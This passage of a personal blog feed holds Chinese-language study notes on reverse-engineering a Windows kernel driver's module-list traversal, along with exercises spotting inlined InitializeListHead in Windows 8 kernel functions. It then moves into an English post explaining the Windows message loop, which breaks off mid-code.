<p>在循环体的最后,从结构体的第一个成员中读出一个指针,然后和指向该结构体的指针进行比较,相等则结束循环,否则继续循环</p>
<p><strong>据此可以推断出,该循环可能是在遍历一个循环双链表,且该结构体的第一个成员是next,因为它在判断next是否指向头部,并且把esi设置为了next所指向的节点地址</strong></p>
<p>但是目前还不能断定一定就存在LIST_ENTRY,可能存在,也可能不存在</p>
<p>然后找一下<code>dword_1436C</code>这个变量是从哪里来的</p>
<p>函数<code>sub_11553</code>使用STDCALL调用约定接受两个参数,一个是指向DRIVER_OBJECT的指针,另一个是指向全局变量<code>dword_1436C</code>的指针</p>
<p>感兴趣的代码片段:</p>
<div class="highlight"><pre><span></span><code><span class="mi">01</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">00011578</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="n">FFDFF034h</span>
<span class="mi">02</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001157</span><span class="n">D</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">eax</span><span class="o">]</span>
<span class="mi">03</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001157</span><span class="n">F</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">eax+70h</span><span class="o">]</span>
<span class="mi">04</span><span class="err">:</span><span class="w"> </span><span class="p">...</span>
<span class="mi">05</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">0001159</span><span class="n">E</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">ebp+arg_4</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">global</span><span class="w"> </span><span class="nf">var</span>
<span class="mi">06</span><span class="err">:</span><span class="w"> </span><span class="p">.</span><span class="nc">text</span><span class="err">:</span><span class="mi">000115</span><span class="n">A1</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">ecx</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
</code></pre></div>
<p>这段代码中有一个硬编码的地址<code>0FFDFF034h</code>,然后取出该结构体偏移量为70h的成员的值写入到全局变量中</p>
<p>这个硬编码地址在XP中可以被分为两部分,<code>0FFdFF000h</code>和偏移量<code>34h</code>,其中前者为processor control block结构体(KPCR)的地址,后者是成员KdVersionBlock成员的偏移量,KdVersionBlock偏移量为70h的成员是个什么东西呢?</p>
<p><img alt="image-20220804151218304" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RSNIHENlAR.jpg"></p>
<p>这个成员是PsLoadedModuleList,一个指向全局链表头部的指针</p>
<p>该链表中的每一个节点都是KLDR_DATA_TABLE_ENTRY类型,它存储了当前载入的内核模块信息</p>
<p>该结构体的第一个成员是一个LIST_ENTRY,这和上面的汇编代码是吻合的,esi就是LIST_ENTRY,[esi]就是Flink</p>
<p>如果你对上面的结论有疑问,请看下面的代码:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">LE</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">LE</span><span class="o">*</span><span class="w"> </span><span class="n">flink</span><span class="p">;</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">LE</span><span class="o">*</span><span class="w"> </span><span class="n">blink</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">le</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">ple</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">TEST</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">le</span><span class="w"> </span><span class="n">mle</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">b</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">test</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">ptest</span><span class="p">;</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">test_test</span><span class="p">;</span>
<span class="w"> </span><span class="n">le</span><span class="w"> </span><span class="n">mle</span><span class="p">;</span>
<span class="w"> </span><span class="n">mle</span><span class="p">.</span><span class="n">flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mle</span><span class="p">.</span><span class="n">blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">mle</span><span class="p">;</span>
<span class="w"> </span><span class="n">test_test</span><span class="p">.</span><span class="n">mle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mle</span><span class="p">;</span>
<span class="w"> </span><span class="n">test_test</span><span class="p">.</span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">520</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">test_test</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">test_test</span><span class="p">.</span><span class="n">mle</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">test_test</span><span class="p">.</span><span class="n">mle</span><span class="p">.</span><span class="n">flink</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="image-20220804171634369" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lAChMBDFii.jpg"></p>
<p>可以看到这三个地址是完全一样的,如果说<code>esi</code>是<code>test_test</code>的地址的话,那么<code>[esi]</code>就是对<code>test_test.mle.flink</code>取值(<code>*test_test.mle.flink</code>)</p>
<p>经过以上分析,可以对这两个函数<code>sub_115DA</code>和<code>sub_11553</code>做出如下总结</p>
<ul>
<li><code>sub_11553</code>,从processor control block中读取KdVersionBlock指针,然后再从该指针中获取到PsLoadedModuleList指针,该指针指向链表的Head,该链表的节点类型位KLDR_DATA_TABLE_ENTRY;将这个函数的名称改为<code>GetLoadedModuleList</code></li>
<li><code>sub_115DA</code>,遍历LoadedModuleList链表,直到找到一个entry的名字是<code>krnl</code>;将这个函数名改为<code>GetKernelName</code></li>
</ul>
<p>翻译成C语言代码:</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_KLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">ListEntry</span><span class="p">;</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">FullDllName</span><span class="p">;</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">BaseDllName</span><span class="p">;</span>
<span class="w"> </span><span class="p">...</span>
<span class="p">}</span><span class="w"> </span><span class="n">KLDR_DATA_TABLE_ENTRY</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">PKLDR_DATA_TABLE_ENTRY</span><span class="p">;</span>
<span class="n">BOOL</span><span class="w"> </span><span class="nf">GetLoadedModuleList</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span><span class="w"> </span><span class="n">drvobj</span><span class="p">,</span><span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">g_modlist</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="n">g_modlist</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PCR</span><span class="o">-></span><span class="n">KdVersionBlock</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x70</span><span class="p">;</span>
<span class="w"> </span><span class="p">...</span>
<span class="p">}</span>
<span class="n">BOOL</span><span class="w"> </span><span class="nf">GetKernelName</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="n">fname</span><span class="p">[...];</span>
<span class="w"> </span><span class="n">PKLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="n">entry</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">g_modlist</span><span class="o">-></span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_modlist</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CONTAINING_RECORD</span><span class="p">(</span><span class="n">p</span><span class="p">,</span><span class="w"> </span><span class="n">KLDR_DATA_TABLE_ENTRY</span><span class="p">,</span><span class="w"> </span><span class="n">ListEntry</span><span class="p">);</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="n">wcsncpy</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span><span class="w"> </span><span class="n">entry</span><span class="o">-></span><span class="n">FullDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="p">,</span><span class="w"> </span><span class="n">entry</span><span class="o">-></span><span class="n">FullDllName</span><span class="p">.</span><span class="n">Length</span><span class="o">*</span><span class="mi">2</span><span class="p">);</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">wcsstr</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"krnl"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">...</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p</span><span class="o">-></span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">...</span>
<span class="p">}</span>
</code></pre></div>
<p>由于上面的驱动程序中存在硬编码的地址和偏移量,在某些版本的windows操作系统中可能无法正常运行</p>
<div class="highlight"><pre><span></span><code><span class="mf">12</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011621</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="err">[</span><span class="n">esi</span><span class="o">+</span><span class="mf">28</span><span class="n">h</span><span class="err">]</span>
<span class="mf">13</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011624</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="mf">14</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011626</span><span class="w"> </span><span class="n">jz</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">failed</span>
<span class="mf">15</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011628</span><span class="w"> </span><span class="n">movzx</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="n">word</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="err">[</span><span class="n">esi</span><span class="o">+</span><span class="mf">24</span><span class="n">h</span><span class="err">]</span>
<span class="mf">16</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">0001162</span><span class="n">C</span><span class="w"> </span><span class="n">shr</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span>
<span class="mf">17</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">0001162</span><span class="n">E</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">size_t</span>
<span class="mf">18</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">0001162</span><span class="n">F</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mf">19</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011630</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="err">[</span><span class="n">ebp</span><span class="o">+</span><span class="n">var_208</span><span class="err">]</span>
<span class="mf">20</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011636</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wchar_t</span><span class="w"> </span><span class="o">*</span>
<span class="mf">21</span><span class="p">:</span><span class="w"> </span><span class="mf">.</span><span class="n">text</span><span class="p">:</span><span class="mf">00011637</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">wcsncpy</span>
</code></pre></div>
<p>上面的代码调用<code>了wcsncpy</code>对UNICODE_STRING进行复制,偏移量24h为UNICODE_STRING的长度,28h为UNICODE_STRING字符串的地址</p>
<p>UNICODE_STRING结构体定义如下</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UNICODE_STRING</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">MaximumLength</span><span class="p">;</span>
<span class="w"> </span><span class="n">PWSTR</span><span class="w"> </span><span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">UNICODE_STRING</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">PUNICODE_STRING</span><span class="p">;</span>
</code></pre></div>
<p>上面的代码中,作为长度的ecx右移了一位,相当于x2,是为了保证源buffer中的内容一定会被全部拷贝到目的buffer</p>
<p>也就是说如果在偏移量为24h的地方如果不存在UNICODE_STRING结构体,那么这个驱动代码也无法正常执行,因为esi所代表的的结构体,也就是KLDR_DATA_TABLE_ENTRY是一个没有公开文档的结构体,微软可能在新的版本中对该结构体的成员进行增删,那么UNICODE_STRING的偏移量也会产生变化</p>
<p>还有就是这个驱动程序在遍历链表的时候有模块被卸载掉了,那么可能会引起空指针异常(访问违例),因为他在遍历链表的时候没加锁</p>
<p>之所以能够分析明白上面两个函数,是因为之前已经拥有了内核相关知识以及内核模式下的驱动分析经验,所以可以一眼看出那些像谜一样的16进制数字到底代表着什么含义</p>
<p>结合esi所代表的结构体的一系列特征,推测出该结构体可能为KLDR_DATA_TABLE_ENTRY,该结构体与具有公开定义的LDR_DATA_TABLE_ENTRY非常相似</p>
<p><a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm">https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm</a></p>
<p><img alt="image-20220804145307368" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MPSNmdRvIs.jpg"></p>
<p>进行逆向分析需要大量的操作系统知识和经验</p>
<p>作者说了,在一开始的时候你可能并不具备那么多知识以及敏锐的直觉,所以一开始你看不懂也是很正常的事情</p>
<p>入典:</p>
<blockquote>
<p>foundational knowledge + intuition + experience + patience = skills</p>
</blockquote>
<h3>习题</h3>
<p>作者给了一堆win8 x64的函数,说这些函数内联了InitalizeListHead函数代码</p>
<p>这个应该很简单,毕竟上面已经分析过InitializeListHead的汇编代码了,我去搞一下</p>
<p>InitializeListHead在64位中有一个很明显的模式:</p>
<div class="highlight"><pre><span></span><code><span class="n">lea</span><span class="w"> </span><span class="n">REG</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">MEM_LOCATION</span><span class="o">]</span>
<span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">REG+8</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">REG</span>
<span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">REG</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">REG</span>
</code></pre></div>
<p>网上有一个<a href="https://bin.re/blog/practical-reverse-engineering-solutions-page-123-part-i/">别人做完的</a>,待会回来跟他对一下</p>
<p>在做题时遇到的问题</p>
<ul>
<li><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126175510?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126175510%22%2C%22source%22%3A%22ma_de_hao_mei_le%22%7D&ctrtid=4lmdy">windbg查看函数汇编代码失败</a></li>
</ul>
<h4>nt!CcAllocateInitializeMbcb</h4>
<p>1</p>
<p><img alt="image-20220804165155698" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CVKIdzDfLI.jpg"></p>
<h4>nt!CmpInitCallbacks</h4>
<p>1</p>
<p><img alt="image-20220805003206066" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MEQygcQWUv.jpg"></p>
<p>这里rax就是<code>nt!CallbackListHead</code></p>
<h4>nt!ExCreateCallback</h4>
<p><img alt="image-20220805003626608" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/aoMEwKMcsG.jpg"></p>
<h4>nt!ExpInitSystemPhase0</h4>
<p>3</p>
<p><img alt="image-20220805133357122" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZYdBWzwyHs.jpg"></p>
<p><img alt="image-20220805133453141" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BQGAodgdPy.jpg"></p>
<p><img alt="image-20220805133628677" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xrdTpLSdWY.jpg"></p>
<p>和别人做的答案对比之后发现漏掉了一个,跟我自己找到的第三个几乎是挨着的,眼花了,没看到。。</p>
<p><img alt="image-20220805150525887" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dQhFcMXhTo.jpg"></p>
<h4>nt!ExpInitSystemPhase1</h4>
<p><img alt="image-20220805133826953" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bskOkhBBsV.jpg"></p>
<h4>nt!ExpTimerInitialization</h4>
<p>1</p>
<p><img alt="image-20220805134313225" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oFkwUrxAtC.jpg"></p>
<h4>nt!InitBootProcessor</h4>
<p>2</p>
<p><img alt="image-20220805134445024" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wOzuvxZgVu.jpg"></p>
<p><img alt="image-20220805134755750" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/SnrxumPAXh.jpg"></p>
<h4>nt!IoCreateDevice</h4>
<p>3</p>
<p><img alt="image-20220805102407447" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/eWWhkWhrfN.jpg"></p>
<p><img alt="image-20220805103014705" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/yspbYlHbHJ.jpg"></p>
<h4>nt!IoInitializeIrp</h4>
<p>1</p>
<p><img alt="image-20220805103745561" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nFJwGGRhRg.jpg"></p>
<h4>nt!KeInitThread</h4>
<p>4</p>
<p><img alt="image-20220805105104274" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cSPKIbsRCT.jpg"></p>
<p><img alt="image-20220805105236835" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vvbcUjyFTf.jpg"></p>
<p><img alt="image-20220805105502833" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lxutgofGxK.jpg"></p>
<p><img alt="image-20220805105542624" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xIuisrxjYv.jpg"></p>
<h4>nt!KeInitializeMutex</h4>
<p>1</p>
<p><img alt="image-20220805110033154" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jtepbjXrwI.jpg"></p>
<h4>nt!KeInitializeProcess</h4>
<p>5</p>
<p><img alt="image-20220805113051727" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/krbQpLwBZf.jpg"></p>
<p><img alt="image-20220805113130238" src="README.assets/image-20220805113130238.png"></p>
<p><img alt="image-20220805113205062" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/EnsxfoTZCl.jpg"></p>
<p><img alt="image-20220805113221823" src="README.assets/image-20220805113221823.png"></p>
<p><img alt="image-20220805113240042" src="README.assets/image-20220805113240042.png"></p>
<h4>nt!KeInitializeTimerEx</h4>
<p>1</p>
<p><img alt="image-20220805113719380" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/rKDFvzGzGj.jpg"></p>
<h4>nt!KeInitializeTimerTable</h4>
<p>1</p>
<p><img alt="image-20220805114805733" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cvtrDDQkkw.jpg"></p>
<h4>nt!KiInitializeProcessor</h4>
<p>1</p>
<p><img alt="image-20220805115039422" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IczPvIUWXr.jpg"></p>
<h4>nt!KiInitializeThread</h4>
<p>1</p>
<p>这个稍微有点不是太好找</p>
<p><img alt="image-20220805135531522" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LNfNmNyuzZ.jpg"></p>
<p>跟到跳转的地址</p>
<p><img alt="image-20220805140704021" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YfxyreLcwz.jpg"></p>
<h4>nt!MiInitializeLoadedModuleList</h4>
<p>2</p>
<p><img alt="image-20220805141605683" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HcQtQmRZtR.jpg"></p>
<p><img alt="image-20220805141646551" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xUveEcKzbv.jpg"></p>
<h4>nt!MiInitializePrefetchHead</h4>
<p>3</p>
<p><img alt="image-20220805142027069" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DbYRHkUtXq.jpg"></p>
<h4>nt!PspAllocateProcess</h4>
<p>2</p>
<p><img alt="image-20220805142330218" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CdukRHGZWY.jpg"></p>
<p><img alt="image-20220805142404799" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZCJmrXHBNk.jpg"></p>
<h4>nt!PspAllocateThread</h4>
<p>5</p>
<p><img alt="image-20220805143810902" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/potjBeggmX.jpg"></p>Windows Message Loop2022-06-11T00:00:00+02:002022-06-11T00:00:00+02:0012138tag:None,2022-06-11:windows-message-loop.html<p>references:</p>
<ul>
<li><a href="http://www.winprog.org/tutorial/message_loop.html">http://www.winprog.org/tutorial/message_loop.html</a></li>
</ul>
<p>excellent post</p>
<h1>Message</h1>
<p>windows message is just integers</p>
<div class="highlight"><pre><span></span><code>#define WM_INITDIALOG 0x0110
#define WM_COMMAND 0x0111
#define WM_LBUTTONDOWN 0x0201
....
</code></pre></div>
<p>messages are often used to communicate between windows</p>
<p>event like keyboard typing, mouse moving, etc will trigger the system send a message to correspond window …</p><p>references:</p>
<ul>
<li><a href="http://www.winprog.org/tutorial/message_loop.html">http://www.winprog.org/tutorial/message_loop.html</a></li>
</ul>
<p>excellent post</p>
<h1>Message</h1>
<p>windows message is just integers</p>
<div class="highlight"><pre><span></span><code>#define WM_INITDIALOG 0x0110
#define WM_COMMAND 0x0111
#define WM_LBUTTONDOWN 0x0201
....
</code></pre></div>
<p>messages are often used to communicate between windows</p>
<p>event like keyboard typing, mouse moving, etc will trigger the system send a message to correspond window</p>
<p>if you're the target window, you'll need to handle the message</p>
<p>every message may have 2 param bound with it, wParam and lParam, wParam->16bit, lParam->32bit, they both are 32bit in win32</p>
<p>these 2 param not always be used, depends on message kind</p>
<p><code>PostMessage</code> and <code>SendMessage</code> can be used to send message</p>
<p><code>PostMessage</code> will puts message into <code>Message Queue</code> and returns immediately, which means in the time <code>PostMessage</code> returns, the message send by it may or may not been processed</p>
<p>while <code>SendMessage</code> sends message directly to the target window, and will not return until the message been processed</p>
<p>for example, if we want to close a window, we can do this:</p>
<div class="highlight"><pre><span></span><code><span class="n">SendMessage</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span><span class="w"> </span><span class="n">WM_CLOSE</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
</code></pre></div>
<h1>Dialog</h1>
<p>to control dialog box, you can do this:</p>
<div class="highlight"><pre><span></span><code><span class="n">hwnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetDlgItem</span><span class="p">(...);</span>
<span class="n">SnedMessage</span><span class="p">(</span><span class="n">hwnd</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">,</span><span class="w"> </span><span class="p">...);</span>
</code></pre></div>
<p>or just this:</p>
<div class="highlight"><pre><span></span><code><span class="n">SendDlgItemMessage</span><span class="p">(...);</span>
</code></pre></div>
<h1>Message Queue</h1>
<p>let's say you are busy on handling WM_PAINT message, at the same time, user types keyboard, what should happen now?</p>
<p>interrupt your drawing or drop the keys that user just input?</p>
<p>either are good solution, so message queue born, when message posted, they are added to message queue and they will not be removed until be handled</p>
<p>this will make sure every message is handled</p>
<h1>Message Loop</h1>
<div class="highlight"><pre><span></span><code><span class="k">while</span><span class="p">(</span><span class="n">GetMessage</span><span class="p">(</span><span class="o">&</span><span class="n">Msg</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">TranslateMessage</span><span class="p">(</span><span class="o">&</span><span class="n">Msg</span><span class="p">);</span>
<span class="w"> </span><span class="n">DispatchMessage</span><span class="p">(</span><span class="o">&</span><span class="n">Msg</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<ul>
<li><code>GetMessage</code> will retrieve message from message queue, if the queue is empty, it will simply block until there is a message</li>
<li>event triggers message being added to message queue, <code>GetMessage</code> will return a positive value to indicate that there is a message to be processed, the <code>Msg</code> pointer point to a message structure <code>MSG</code>, this structure will be filled by <code>GetMessage</code>, if the message retrieved is <code>WM_QUIT</code>, then 0 is returned, return negative value to indicate there is an error occurred</li>
<li>message retrieved by <code>GetMessage</code> will be past to <code>TranslateMessage</code> as a param, this function will translate virtual key message to character message</li>
<li>then we pass the translated message to <code>DispatchMessage</code>, it will check which window the message is for and looks up windowproc for this window, then it will calls the founded windowproc and sending window handle, message and w/lParam as param to this proc</li>
<li>windowproc is your code, you need to check the message and related params, then do whatever you want! If you're not handling the message, you can just call <code>DefWindowProc</code> to perform default actions (which often means doing nothing)</li>
<li>after you finish message processing, your windowproc returns to <code>DispatchMessage</code>, then you back to the message loop</li>
</ul>
<p>this is very important concept for windows programming, your windowsproc is not magically called by system, in fact, you're calling your own code indirectly from <code>DispatchMessage</code> function</p>
<p>if you want, you can use <code>GetWindowLong</code> with the window handle that the message is for to lookup your windowproc code and call it directly, without calling <code>DispatchMessage</code></p>
<div class="highlight"><pre><span></span><code><span class="k">while</span><span class="p">(</span><span class="n">GetMessage</span><span class="p">(</span><span class="o">&</span><span class="n">Msg</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
